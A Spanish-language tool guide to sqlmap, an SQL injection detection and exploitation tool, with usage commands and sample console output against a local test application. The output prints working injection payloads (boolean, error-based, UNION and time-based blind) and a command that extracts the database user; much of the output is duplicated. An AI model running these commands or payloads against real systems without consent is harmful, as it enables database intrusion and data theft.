Menu
▾
▴
sqlmap-es
sqlmap
Fase(s):
Principal: Explotación.
Secundaria: N/A.
Descripción:
Es una herramienta que ayuda a identificar y explotar vulnerabilidades de inyecciones de SQL para múltiples manejadores de bases de datos.
Objetivo:
- Identificar vulnerabilidades de inyecciones de SQL.
- Explotar vulnerabilidades de inyecciones de SQL.
Funcionalidades:
Tecnologías soportadas: Aplicaciones Web (HTTP/HTTPS) sobre múltiples manejadores de base de datos.
Modo de ejecución: Activo.
Identificar vulnerabilidades de inyecciones de SQL.
- Proporciona parámetros vulnerables a inyecciones de SQL dentro de las aplicaciones web por medio de múltiples pruebas de inyección configurables (“payloads” basados en tiempo, blind, por mencionar algunos).
- Realizar pruebas sobre parámetros enviados por los métodos GET y POST.
- Determina el manejador de SQL que está utilizando la aplicación web con el objetivo de enfocar las pruebas:
- MySQL
- Oracle
- PostgreSQL
- MS SQL Server
- MS Access
- IBM DB2
- SQLite
- Firebird
- Sybase
- SAP MaxDB
Explotar vulnerabilidades de inyecciones de SQL.
- Proporciona capacidades para la consulta y minado de la base de datos que incluye: usuarios, bases de datos, tablas, columnas y registros presentes, por mencionar algunos.
- Proporciona capacidades para ejecutar funciones sobre el servidor de base de datos (conforme a los privilegios del manejador de base de datos):
- Comandos del sistema operativo.
- Creación y eliminación de archivos.
- Lectura del registro (Windows).
Reportes:
Resultados exportables: ✔
- Archivo sqlite: con los resultados del minado de base de datos realizado para su almacenamiento local.
- Archivo “log.txt”: con la información de las inyecciones exitosas y los resultados obtenidos.
- Archivo “targets” con la información de los objetivos escaneados
Uso básico:
Explotar una inyección de SQL previamente identificada. El siguiente comando envía inicia el escaneo sobre el parámetro especificado dentro de una aplicación web.
./sqlmap.py -u 'http://127.0.0.1:9001/miaplicacion/page.jsp?busqueda=info' -p busqueda --output-dir='[Directorio]'
Dónde:
• -u: Dirección URL de la aplicación web.
• -p: Parámetro vulnerable a una inyección de SQL.
• --output-dir: Directorio donde exportar los resultados obtenidos.
La herramienta comenzara con las pruebas para determinar si el parámetro es susceptible a una inyección de SQL y determinar el manejador de base de datos con el objetivo de enfocar las pruebas.
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It
is the end user's responsibility to obey all applicable local, state and federal laws. Developers
assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:00:00
[00:00:00] [INFO] testing connection to the target URL
[00:00:00] [INFO] heuristics detected web page charset 'ISO-8859-2'
[00:00:00] [INFO] testing if the target URL is stable. This can take a couple of seconds
[00:00:00] [INFO] target URL is stable
[00:00:00] [WARNING] reflective value(s) found and filtering out
[00:00:00] [INFO] heuristic (basic) test shows that GET parameter 'busqueda' might be injectable (possible DBMS: 'MySQL')
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It
is the end user's responsibility to obey all applicable local, state and federal laws. Developers
assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:00:00
[00:00:00] [INFO] testing connection to the target URL
[00:00:00] [INFO] heuristics detected web page charset 'ISO-8859-2'
[00:00:00] [INFO] testing if the target URL is stable. This can take a couple of seconds
[00:00:00] [INFO] target URL is stable
[00:00:00] [WARNING] reflective value(s) found and filtering out
[00:00:00] [INFO] heuristic (basic) test shows that GET parameter 'busqueda' might be injectable (possible DBMS: 'MySQL')
En el caso en el que determine el manejador de base de datos, la herramienta proporcionara la opción de enfocar la pruebas hacia el manejador detectado seleccionado la opción ‘Y’.
[00:00:00] [INFO] testing for SQL injection on GET parameter 'busqueda'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y
La herramienta comenzara a realizar todas pruebas precargadas (“payloads”) con el objetivo de identificar la inyección de SQL al igual que el “payload” requerido para explotar la vulnerabilidad; en el caso en el que la prueba se exitosa, se incluirá el mensaje de “injectable”
[00:00:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:00:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[00:00:00] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[00:00:00] [INFO] GET parameter 'busqueda' is 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable
[00:00:00] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[00:00:00] [INFO] GET parameter 'busqueda' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[00:00:00] [INFO] testing 'MySQL inline queries'
[00:00:00] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:00:00] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[00:00:00] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:00:00] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'
[00:00:00] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[00:00:00] [INFO] GET parameter 'busqueda' is 'MySQL < 5.0.12 AND time-based blind (heavy query)' injectable
[00:00:00] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[00:00:00] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[00:00:00] [INFO] target URL appears to be UNION injectable with 5 columns
[00:00:00] [INFO] GET parameter 'busqueda' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[00:00:00] [WARNING] in OR boolean-based injections, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
[00:00:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[00:00:00] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[00:00:00] [INFO] GET parameter 'busqueda' is 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' injectable
[00:00:00] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[00:00:00] [INFO] GET parameter 'busqueda' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[00:00:00] [INFO] testing 'MySQL inline queries'
[00:00:00] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:00:00] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[00:00:00] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:00:00] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'
[00:00:00] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[00:00:00] [INFO] GET parameter 'busqueda' is 'MySQL < 5.0.12 AND time-based blind (heavy query)' injectable
[00:00:00] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[00:00:00] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[00:00:00] [INFO] target URL appears to be UNION injectable with 5 columns
[00:00:00] [INFO] GET parameter 'busqueda' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[00:00:00] [WARNING] in OR boolean-based injections, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
Con base a las pruebas realizas, la herramienta identificar la inyección de SQL con el objetivo de preparar la herramienta para posteriores explotaciones. La herramienta proporcionara la opción de escanear otros parámetros presentes en la aplicación, seleccionado en este caso la opción ‘N’ para finalizar el escaneo con lo cual se desplegaran los resultados sobre las pruebas exitosas, al igual que información extraída: sistema operativo, servidor web y manejador de base de datos.
GET parameter 'busqueda' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 74 HTTP(s) requests:
---
Place: GET
Parameter: busqueda
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: page.jsp?busqueda=-7808' OR (1013=1013)#
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: page.jsp?busqueda=test' AND (SELECT 3338 FROM(SELECT COUNT(*),CONCAT(0x3a6866673a,(SELECT
(CASE WHEN (3338=3338) THEN 1 ELSE 0 END)),0x3a6866753a,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Wkqc'='Wkqc
Type: UNION query
Title: MySQL UNION query (NULL) - 5 columns
Payload: page.jsp?busqueda=test' UNION ALL SELECT
NULL,NULL,NULL,CONCAT(0x3a6866673a,0x4e4a7056657854754662,0x3a6866753a),NULL#
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: page.jsp?busqueda=test' AND 4757=BENCHMARK(5000000,MD5(0x515a6f49)) AND 'BqjY'='BqjY
---
[00:00:00] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.21, PHP 5.3.8
back-end DBMS: MySQL 5.0
[00:00:00] [INFO] fetched data logged to text files under '/directorio/sqlmap/127.0.0.1'
[*] shutting down at 19:32:47
sqlmap identified the following injection points with a total of 74 HTTP(s) requests:
---
Place: GET
Parameter: busqueda
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: page.jsp?busqueda=-7808' OR (1013=1013)#
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: page.jsp?busqueda=test' AND (SELECT 3338 FROM(SELECT COUNT(*),CONCAT(0x3a6866673a,(SELECT
(CASE WHEN (3338=3338) THEN 1 ELSE 0 END)),0x3a6866753a,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'Wkqc'='Wkqc
Type: UNION query
Title: MySQL UNION query (NULL) - 5 columns
Payload: page.jsp?busqueda=test' UNION ALL SELECT
NULL,NULL,NULL,CONCAT(0x3a6866673a,0x4e4a7056657854754662,0x3a6866753a),NULL#
Type: AND/OR time-based blind
Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: page.jsp?busqueda=test' AND 4757=BENCHMARK(5000000,MD5(0x515a6f49)) AND 'BqjY'='BqjY
---
[00:00:00] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.21, PHP 5.3.8
back-end DBMS: MySQL 5.0
[00:00:00] [INFO] fetched data logged to text files under '/directorio/sqlmap/127.0.0.1'
[*] shutting down at 19:32:47
La herramienta guarda los resultados en el directorio especificado manteniendo el registro las inyecciones identificadas con el fin de ser explotadas en posteriores ocasiones sin requerir la verificación inicial.
A continuación proporcionamos el siguiente comando que obtiene información sobre el manejador de base de datos, en este caso el nombre de usuario.
./sqlmap.py -u 'http://127.0.0.1:9001/miaplicacion/page.jsp?busqueda=info' --output-dir='/security/sqlmap/' --current-user
• -u: Dirección URL de la aplicación web.
• --output-dir: Directorio donde exportar los resultados obtenidos.
• --current-user: Proporciona en nombre de usuario de la base de datos.
La herramienta manteniendo el estado del escaneo previamente realizado y con el conocimiento del “payload” requerido procederá a obtener la información de la base de datos.
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It
is the end user's responsibility to obey all applicable local, state and federal laws. Developers
assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 19:34:13
[00:00:00] [INFO] resuming back-end DBMS 'mysql'
[00:00:00] [INFO] testing connection to the target URL
[00:00:00] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
…
[00:00:00] [INFO] fetching current user
current user: 'root@localhost'
[0:00:00] [INFO] fetched data logged to text files under '/directorio/sqlmap/127.0.0.1'
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It
is the end user's responsibility to obey all applicable local, state and federal laws. Developers
assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 19:34:13
[00:00:00] [INFO] resuming back-end DBMS 'mysql'
[00:00:00] [INFO] testing connection to the target URL
[00:00:00] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
…
[00:00:00] [INFO] fetching current user
current user: 'root@localhost'
[0:00:00] [INFO] fetched data logged to text files under '/directorio/sqlmap/127.0.0.1'
Referencias:
Liga: http://sqlmap.org
Autor (es): Bernardo Damele A. G.
Miroslav Stampar
Contacto: sqlmap-users@lists.sourceforge.net
Licencia: (C) 2006-2013 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
GNU General Public License Version 2